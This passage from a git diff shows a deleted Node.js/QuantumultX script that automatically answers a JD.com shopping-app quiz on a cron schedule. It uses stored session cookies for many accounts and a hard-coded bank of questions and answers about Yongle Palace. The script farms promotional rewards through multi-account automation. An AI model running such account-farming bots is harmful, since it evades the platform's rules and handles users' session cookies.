e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_immortal_answer.js b/activity/jd_immortal_answer.js deleted file mode 100644 index 667f47e..0000000 --- a/activity/jd_immortal_answer.js +++ /dev/null @@ -1,476 +0,0 @@ -/* -京东神仙书院答题 -根据bing搜索结果答题,常识题可对,商品题不能保证胜率 -活动时间:2021-1-27至2021-2-5 -活动入口: 京东APP我的-神仙书院 -活动地址:https://h5.m.jd.com//babelDiy//Zeus//4XjemYYyPScjmGyjej78M6nsjZvj//index.html?babelChannel=ttt9 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东神仙书院答题 -20 * * * * jd_immortal_answer.js, tag=京东神仙书院答题, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "20 * * * *" script-path=jd_immortal_answer.js,tag=京东神仙书院答题 - -===============Surge================= -京东神仙书院答题 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_immortal_answer.js - -============小火箭========= -京东神仙书院答题 = type=cron,script-path=jd_immortal_answer.js, cronexpr="20 * * * *", timeout=3600, enable=true - */ -const $ = new Env('京东神仙书院答题'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - // await requireTk() - $.tk = [{"questionId":"1901441674","questionIndex":"1","questionStem":"永乐宫位于山西哪个城市?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpCIXLkJ_WAKDLFdSw-A\",\"optionDesc\":\"运城市\"},{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpChYv-iBINKeZnfm57Q\",\"optionDesc\":\"大同市\"},{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpC0PrO6mXfvErnsQZkw\",\"optionDesc\":\"太原市\"}]","questionToken":"Ks0Sx0BXjjgbNFAjGUwyXaBp4FnRWXz9HV3vlG-r0AbqW0JofD5caaNEQRrh9w29L7dXXyJ1x5jxRzvj8WP7hQBiWb6eYw","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpCIXLkJ_WAKDLFdSw-A\",\"optionDesc\":\"运城市\"}","create_time":"27/1/2021 04:49:08","update_time":"27/1/2021 04:49:08","status":"1"},{"questionId":"1901441675","questionIndex":"2","questionStem":"永乐宫在什么时期进行了全面搬迁?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCqVtOiEGdgT2rlgu\",\"optionDesc\":\"21世纪初\"},{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCJXg5g8cZbd_NrUF\",\"optionDesc\":\"20世纪五六十年代\"},{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpC_dVlhsF1hkxDSRo\",\"optionDesc\":\"20世纪八九十年代\"}]","questionToken":"Ks0Sx0BXjjgbNVAgGUwyXWU5Z3N8SsLmAmlHnWPk8mu4qpLQ5BonaiQ48lq5_oPoCmxj6PygaxpHZfAQ8m0UnMkPoxHQpg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCJXg5g8cZbd_NrUF\",\"optionDesc\":\"20世纪五六十年代\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"1901441676","questionIndex":"1","questionStem":"永乐宫建筑群建造于哪个时期?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCija4QWLFHMVZNeuuQ\",\"optionDesc\":\"明清时期\"},{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpC-sybUji1HS_1mIxOg\",\"optionDesc\":\"隋唐时期\"},{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCERO6zuvt0b_lDV85g\",\"optionDesc\":\"宋元时期\"}]","questionToken":"Ks0Sx0BXjjgbNlAjGUwyXf6zlVwlZm9N0cMd1yq3R26R0FElCAVxswWUF7k6UqOKDARHvkc8js_CnGq7m9rw9Je3Ye7uwg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCERO6zuvt0b_lDV85g\",\"optionDesc\":\"宋元时期\"}","create_time":"27/1/2021 04:42:38","update_time":"27/1/2021 04:42:38","status":"1"},{"questionId":"1901441677","questionIndex":"2","questionStem":"永乐宫屋顶正脊两侧的怪兽叫?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCLdI9W7sOrVFbyo2_w\",\"optionDesc\":\"鸱吻\"},{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpC8bJ8XseaV3o3WvQZw\",\"optionDesc\":\"赑屃\"},{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCiTLo1O3Fskj9ysIVw\",\"optionDesc\":\"狮子\"}]","questionToken":"Ks0Sx0BXjjgbN1AgGUwyWtwFYOBcQhTDcAYij64yM9ULBJ-9xlCSyjOp-oPdSbAyrvbKYUBNbWNYjjmKIgNgO_yoJjPedg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCLdI9W7sOrVFbyo2_w\",\"optionDesc\":\"鸱吻\"}","create_time":"27/1/2021 04:35:45","update_time":"27/1/2021 04:35:45","status":"1"},{"questionId":"1901441678","questionIndex":"2","questionStem":"永乐宫鸱吻的原料是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCLIiGL-i9xgxxciXKA\",\"optionDesc\":\"琉璃\"},{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpChqA80NEftULPnc5pQ\",\"optionDesc\":\"木雕\"},{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCxZRsqUCnaaa1McPtg\",\"optionDesc\":\"金银\"}]","questionToken":"Ks0Sx0BXjjgbOFAgGUwyXaz-RSO4SdlUVwxRDJLcmSKPyxL2yVbqPuCvt5zrMdBYxvzzKQq5firE3VKN-dZIAgFMWXPBhA","correct":"{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCLIiGL-i9xgxxciXKA\",\"optionDesc\":\"琉璃\"}","create_time":"27/1/2021 04:47:23","update_time":"27/1/2021 04:47:23","status":"1"},{"questionId":"1901441679","questionIndex":"4","questionStem":"永乐宫建筑的布局是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpC8_r_0V5j_2iit4\",\"optionDesc\":\"三点布局\"},{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCAtpkpOXFIsGw_Y\",\"optionDesc\":\"中轴线布局\"},{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCnZ3QHwZxxvqbvU\",\"optionDesc\":\"对角线布局\"}]","questionToken":"Ks0Sx0BXjjgbOVAmGUwyWsIJPvpXj3gmQ0NPuTKUw1XdjYI4-a5pl-7g5NfIGYSC54-XuwqBqBzyo4gBnd4MPW08Pslijw","correct":"{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCAtpkpOXFIsGw_Y\",\"optionDesc\":\"中轴线布局\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"1901441680","questionIndex":"3","questionStem":"永乐宫是哪个宗教的建筑?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCI4ZdGOr_c5yUIGz\",\"optionDesc\":\"道教\"},{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCz5VlteegUfypA7G\",\"optionDesc\":\"伊斯兰教\"},{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCv1lnZxzG3Oo4vZQ\",\"optionDesc\":\"佛教\"}]","questionToken":"Ks0Sx0BXjjgUMFAhGUwyWpJF8tGtTyAO5wkdd-Zp9U1w9Jqp-uGaaEF3xWVhpwFeB9X71PBuyyLHdGb7g5QRTF6zHWrtPA","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCI4ZdGOr_c5yUIGz\",\"optionDesc\":\"道教\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"1901441681","questionIndex":"1","questionStem":"永乐宫建筑群的主体材料是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpClAVHXDlx4iFjSPCEA\",\"optionDesc\":\"汉白玉\"},{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpCHi92SbiZ_U5NcgBLQ\",\"optionDesc\":\"木材\"},{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpC5aA9Mgq7qOWWmoGhw\",\"optionDesc\":\"砖石\"}]","questionToken":"Ks0Sx0BXjjgUMVAjGUwyXawYWL1UOIN8ssGn41zVx3hluW-X3pOIBdpbrzjitD5PIk3JLx7ZZIcjbZt2tp25xcD8iCB08w","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpCHi92SbiZ_U5NcgBLQ\",\"optionDesc\":\"木材\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"1901441682","questionIndex":"1","questionStem":"传说中鸱吻这种神兽的作用是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCtQOT7Ynym3JenwCHg\",\"optionDesc\":\"驱邪降魔\"},{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCyXafCr2GQfX5EWkIA\",\"optionDesc\":\"祈求财富\"},{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCJCV-cfmdq-QbnYXMg\",\"optionDesc\":\"避免火灾\"}]","questionToken":"Ks0Sx0BXjjgUMlAjGUwyWkpGFycyA6X5Ne-gvXVHBiitX-9-0EoSwLz6Um379nm-O0pCejfo8Q8dweZInVBRxJN0_n128A","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCJCV-cfmdq-QbnYXMg\",\"optionDesc\":\"避免火灾\"}","create_time":"27/1/2021 04:49:32","update_time":"27/1/2021 04:49:32","status":"1"},{"questionId":"1901441683","questionIndex":"5","questionStem":"永乐宫之所以被称作“宫”的原因是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpC5PXQ_FU1uT-F7ug\",\"optionDesc\":\"它曾是王爷的王府\"},{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCsW1fCbEDNld89Dz\",\"optionDesc\":\"它曾是古代皇帝的行宫\"},{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCDvrJSzFZ6zPwf9x\",\"optionDesc\":\"它是道教宫观\"}]","questionToken":"Ks0Sx0BXjjgUM1AnGUwyWhP15Oinw63LiAS_tKn3NvgNkLXqoBY2Z9fen4mTnJlrbPqQDJ6eCE-XmAgRCOOFf93N2Awntg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCDvrJSzFZ6zPwf9x\",\"optionDesc\":\"它是道教宫观\"}","create_time":"27/1/2021 04:41:42","update_time":"27/1/2021 04:41:42","status":"1"},{"questionId":"1901441684","questionIndex":"4","questionStem":"古代木构建筑,柱头上用于支撑屋顶的是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCFCw5AV_jyrR5Wmslg\",\"optionDesc\":\"斗拱\"},{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpC55a8SIabsqTCfxTzw\",\"optionDesc\":\"椽\"},{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCjr63fj7bbSxsnrqwg\",\"optionDesc\":\"藻井\"}]","questionToken":"Ks0Sx0BXjjgUNFAmGUwyXaPbN9OVIJKBsaNJdAO6l78DcVq9h0-t4xQT8aZB11TvDxyRkrKiBKtLHT1aZwQ6wY8cby-BGg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCFCw5AV_jyrR5Wmslg\",\"optionDesc\":\"斗拱\"}","create_time":"27/1/2021 04:36:42","update_time":"27/1/2021 04:36:42","status":"1"},{"questionId":"1901441685","questionIndex":"4","questionStem":"龙虎殿在永乐宫建筑群中原本的作用是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpC92ngKLgeY74q3Bf\",\"optionDesc\":\"主殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCMGl3vSwkiQn4Dkr\",\"optionDesc\":\"宫门\"},{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCos9W0y6Lt8hAEfl\",\"optionDesc\":\"厨房\"}]","questionToken":"Ks0Sx0BXjjgUNVAmGUwyXSHjT4x5_6ZnXZVreHN12NE-fNfyF5D1paixW-6xlwFNirQlgSEasjwZMlZJNCzjEVoBcNLhvQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCMGl3vSwkiQn4Dkr\",\"optionDesc\":\"宫门\"}","create_time":"27/1/2021 04:51:49","update_time":"27/1/2021 04:51:49","status":"1"},{"questionId":"1901441686","questionIndex":"1","questionStem":"永乐宫中,体积最大、规格最高的建筑是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCKm_3kssuhNgRf4v\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpChYDkQGDGcBVLDSs\",\"optionDesc\":\"龙虎殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCyrEThF-MLRSMvcT\",\"optionDesc\":\"纯阳殿\"}]","questionToken":"Ks0Sx0BXjjgUNlAjGUwyXbsTxOqIEDJpD9S5F8jLsF9QME4eORP3ggmZL0d5050fhRc4Kl-9WrGM3kTBa6fL_fN3lWnJsw","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCKm_3kssuhNgRf4v\",\"optionDesc\":\"三清殿\"}","create_time":"27/1/2021 04:48:19","update_time":"27/1/2021 04:48:19","status":"1"},{"questionId":"1901441687","questionIndex":"5","questionStem":"三清殿为了扩大空间,用的什么建造方法?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCo67V4IahCuUkzxH\",\"optionDesc\":\"移柱造\"},{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCB9PGapzVSxFJt6z\",\"optionDesc\":\"减柱造\"},{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpC_lvivPh3eq-b_G0\",\"optionDesc\":\"增柱造\"}]","questionToken":"Ks0Sx0BXjjgUN1AnGUwyXZ9d3yh3z5_p6Ify_GTATyJx3H7Qm_gwiqbEnCoXsz8XY7a9Eb8jJCdvnJLRonE76nRSIQbhqg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCB9PGapzVSxFJt6z\",\"optionDesc\":\"减柱造\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"1901441688","questionIndex":"3","questionStem":"建筑结构“藻井”位于建筑的什么位置?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCkKRH5okhVEFYcPb\",\"optionDesc\":\"室内底部\"},{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCEO44t3eXweU7TIE\",\"optionDesc\":\"室内顶部\"},{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpC5ajI6TUyh3n-HJU\",\"optionDesc\":\"室外顶部\"}]","questionToken":"Ks0Sx0BXjjgUOFAhGUwyWrUpYigmUBfN9MPhFu_H-yb8LQkx_v5b3V_ucIEnHHcn3GpvNAhJtnV6CFriw-KUAckvPRMZxg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCEO44t3eXweU7TIE\",\"optionDesc\":\"室内顶部\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"1901441689","questionIndex":"2","questionStem":"龙虎殿中原本侍奉的神像是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpC40R7oirSHDkDK8cWw\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCj4Kp_T2MZoxVgqq4Q\",\"optionDesc\":\"四大天王\"},{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCFR5Cy2zO1xrvWj5-Q\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"Ks0Sx0BXjjgUOVAgGUwyXQQsVXA1i3sJpvMrfjH6nnVHfgwXOuzHPoVBgbdweUFqJygSziWLuDv8rbeHzAdG3VfeYoTfqQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCFR5Cy2zO1xrvWj5-Q\",\"optionDesc\":\"青龙白虎\"}","create_time":"27/1/2021 04:43:14","update_time":"27/1/2021 04:43:14","status":"1"},{"questionId":"1901441690","questionIndex":"4","questionStem":"龙虎殿中的壁画内容不包括?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCFt6wNOO4WvdSY8I\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCtIP27bjXR6Xwiyn\",\"optionDesc\":\"天兵天将\"},{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpC-cMUHyTpGgtDGhN\",\"optionDesc\":\"城隍土地\"}]","questionToken":"Ks0Sx0BXjjgVMFAmGUwyXcnM6lBhN3Sz9KQ6jhhGQTz2cVpbvLjYP-sNjmI6xO6ZlONAmdgVWkKoa7NKYM151Yh8IARYTg","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCFt6wNOO4WvdSY8I\",\"optionDesc\":\"哼哈二将\"}","create_time":"27/1/2021 04:41:50","update_time":"27/1/2021 04:41:50","status":"1"},{"questionId":"1901441691","questionIndex":"5","questionStem":"木构建筑最害怕什么样的灾害?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCEp8ApiXUjSO4EpeNw\",\"optionDesc\":\"火灾\"},{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpC4VQzDQEy-B4-AIPeQ\",\"optionDesc\":\"风灾\"},{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCudlIaP1KccYjUAVoQ\",\"optionDesc\":\"水灾\"}]","questionToken":"Ks0Sx0BXjjgVMVAnGUwyXcJClSF2f46OS1mEysy-O2GF3lF4ObdY2mVFRpz5C_GVo4MaRr4u1GtBxWi3Rj7WBCaurLoWmw","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCEp8ApiXUjSO4EpeNw\",\"optionDesc\":\"火灾\"}","create_time":"27/1/2021 04:41:26","update_time":"27/1/2021 04:41:26","status":"1"},{"questionId":"1901441692","questionIndex":"3","questionStem":"中国大部分元代木构建筑位于哪个省?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCr6vxyu7JMzxAH0z\",\"optionDesc\":\"河南\"},{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCEzq_w29Tqd3Xfh8\",\"optionDesc\":\"山西\"},{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpC_kIxEww4FOmTQSb\",\"optionDesc\":\"陕西\"}]","questionToken":"Ks0Sx0BXjjgVMlAhGUwyWlIm4Kgwnsm0vtupY_5EHnIsD7JScLPcHbNjjy7fBou30qYUvuHmxHzMA_JITVUW1BHUrQfytQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCEzq_w29Tqd3Xfh8\",\"optionDesc\":\"山西\"}","create_time":"27/1/2021 04:49:51","update_time":"27/1/2021 04:49:51","status":"1"},{"questionId":"1901441693","questionIndex":"1","questionStem":"中国古代木构建筑屋顶的怪兽雕塑被统称为?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCsNJStIdVl6bkg\",\"optionDesc\":\"走兽\"},{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCKUEXB45Jxhtyw\",\"optionDesc\":\"脊兽\"},{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCwu45oKBqC9JHQ\",\"optionDesc\":\"叫兽\"}]","questionToken":"Ks0Sx0BXjjgVM1AjGUwyXQ16mON0qeXIz0j6M6nyPsWd9NZVu427sLiH01d2naJyb-UyQaRTyVlezGak7Bu3IIYaPKzR5A","correct":"{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCKUEXB45Jxhtyw\",\"optionDesc\":\"脊兽\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"1901441694","questionIndex":"1","questionStem":"永乐宫三清殿屋顶琉璃瓦的主要颜色不包括?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpC0LNI8vPkLdOfMbK\",\"optionDesc\":\"黄色\"},{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCjL0JzrQiY64g5-0\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCHj_A7eZQrWeq69J\",\"optionDesc\":\"红色\"}]","questionToken":"Ks0Sx0BXjjgVNFAjGUwyXVKOvtJI_RYuidTWwxYRtZxS4RNdasLuntjuD4Qkp1VrZGTdwCPzQAuHWc2FM0SKmiIaNXcwug","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCHj_A7eZQrWeq69J\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:37:38","update_time":"27/1/2021 04:37:38","status":"1"},{"questionId":"1901441695","questionIndex":"4","questionStem":"永乐宫中的“永乐”二字的来源是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCg5NBh5BF2GXAC8\",\"optionDesc\":\"创建者名字\"},{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpC2KxrlkHFMjNfHM\",\"optionDesc\":\"年号名\"},{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCGjUFDlvVNF9loY\",\"optionDesc\":\"当地地名\"}]","questionToken":"Ks0Sx0BXjjgVNVAmGUwyXegTx7Zd1Ytj9yP6T2FjXThcHc9jOuNW9fXAlBpKgkBmG0O3sw8xIm17goGpr6lez6Qn2rUUoA","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCGjUFDlvVNF9loY\",\"optionDesc\":\"当地地名\"}","create_time":"27/1/2021 04:49:11","update_time":"27/1/2021 04:49:11","status":"1"},{"questionId":"1901441696","questionIndex":"2","questionStem":"永乐宫三清殿内的影壁不包括以下哪个功能?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpC152Awa2dH94e7t2\",\"optionDesc\":\"支撑屋顶\"},{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpCHqNGH8ZTC8a5owD\",\"optionDesc\":\"隔断生活空间\"},{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpClGZ-jPnnM8hJU_5\",\"optionDesc\":\"背衬三清像\"}]","questionToken":"Ks0Sx0BXjjgVNlAgGUwyWo8588OAsfDhyzwOYwbRho6AuU3wfZMpe6rHXKqUTMq4zpbLk-smQputBytcqUaB_HCzLOZiHw","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpCHqNGH8ZTC8a5owD\",\"optionDesc\":\"隔断生活空间\"}","create_time":"27/1/2021 04:48:49","update_time":"27/1/2021 04:48:49","status":"1"},{"questionId":"1901441697","questionIndex":"4","questionStem":"永乐宫搬迁的原因是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCku6_76yFi3OzGFj\",\"optionDesc\":\"地基面临塌方\"},{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCyPrw4LVPCe-tU_3\",\"optionDesc\":\"当地处于地震带\"},{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCHVShyQIGA32I-tm\",\"optionDesc\":\"修水库可能会淹没原址\"}]","questionToken":"Ks0Sx0BXjjgVN1AmGUwyWvpsU5IBFyAxxrGuqfclpsId5x4Gi2rR6JhMPQCgHlJV867Y8CIC5GdefFKVPxqiCfJkaiu21w","correct":"{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCHVShyQIGA32I-tm\",\"optionDesc\":\"修水库可能会淹没原址\"}","create_time":"27/1/2021 04:54:35","update_time":"27/1/2021 04:54:35","status":"1"},{"questionId":"1901441698","questionIndex":"1","questionStem":"以下哪个著名古代木构建筑不在山西?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpC8CkrZ3VZDPt5Jk\",\"optionDesc\":\"佛光寺大殿\"},{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCmUMHkxVnQwPLE0\",\"optionDesc\":\"南禅寺大殿\"},{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCPPqIQdQLc8pQLw\",\"optionDesc\":\"摩尼殿\"}]","questionToken":"Ks0Sx0BXjjgVOFAjGUwyWh2SZ_o6H6u2356tn2fUSVwHBtpyCsDmFXT3DVpCh3F6oayFfL-uRqcGsW5aCNnk9DvbGvByKA","correct":"{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCPPqIQdQLc8pQLw\",\"optionDesc\":\"摩尼殿\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"1901441699","questionIndex":"2","questionStem":"以下哪个山西著名古代建筑不属于元代建筑?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCqEcfjqCvDqg54a0\",\"optionDesc\":\"芮城永乐宫\"},{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCAVPA842_mqvQcnN\",\"optionDesc\":\"芮城广仁王庙\"},{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpC-K88SK8bXy86aCi\",\"optionDesc\":\"洪洞广胜寺水神庙\"}]","questionToken":"Ks0Sx0BXjjgVOVAgGUwyXa21Vv7aiRCLkXg6gzZvmb9iSzQT8YsItL7RRnquYpCWmfdTOJQwM6YErRSVPP4k16KRX56Ocg","correct":"{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCAVPA842_mqvQcnN\",\"optionDesc\":\"芮城广仁王庙\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"1901441700","questionIndex":"5","questionStem":"以下哪个选项是永乐宫所在地曾用名?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPcqm23u0agRmLAhD\",\"optionDesc\":\"晋阳\"},{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPOElfqWuay_w5zcO\",\"optionDesc\":\"长安\"},{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPy44jSSLDkIjRL49\",\"optionDesc\":\"蒲州\"}]","questionToken":"Ks0Sx0BXjjmvIuUxY-MObbKS9LyRlkZXC758uhJEewZQza4YbEyvTVUVxrsZcnxxZwH8yXu8pcj593L50_b9pirJl7LXuA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPy44jSSLDkIjRL49\",\"optionDesc\":\"蒲州\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"1901441701","questionIndex":"3","questionStem":"《朝元图》位于永乐宫的哪个建筑中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVPWaeu-7IZKwhej4\",\"optionDesc\":\"纯阳殿\"},{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVP4R-CriTieu-GEw\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVPDdflfwNOeXX9hw\",\"optionDesc\":\"重阳殿\"}]","questionToken":"Ks0Sx0BXjjmvI-U3Y-MOagzhoBHzGNLhwVN8K0s6LLCbs0y3KEwnmXgqQfYGsKCpgn83IQKAkZ6pLyDqjDTlDpLZGRrMRw","correct":"{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVP4R-CriTieu-GEw\",\"optionDesc\":\"三清殿\"}","create_time":"27/1/2021 04:44:59","update_time":"27/1/2021 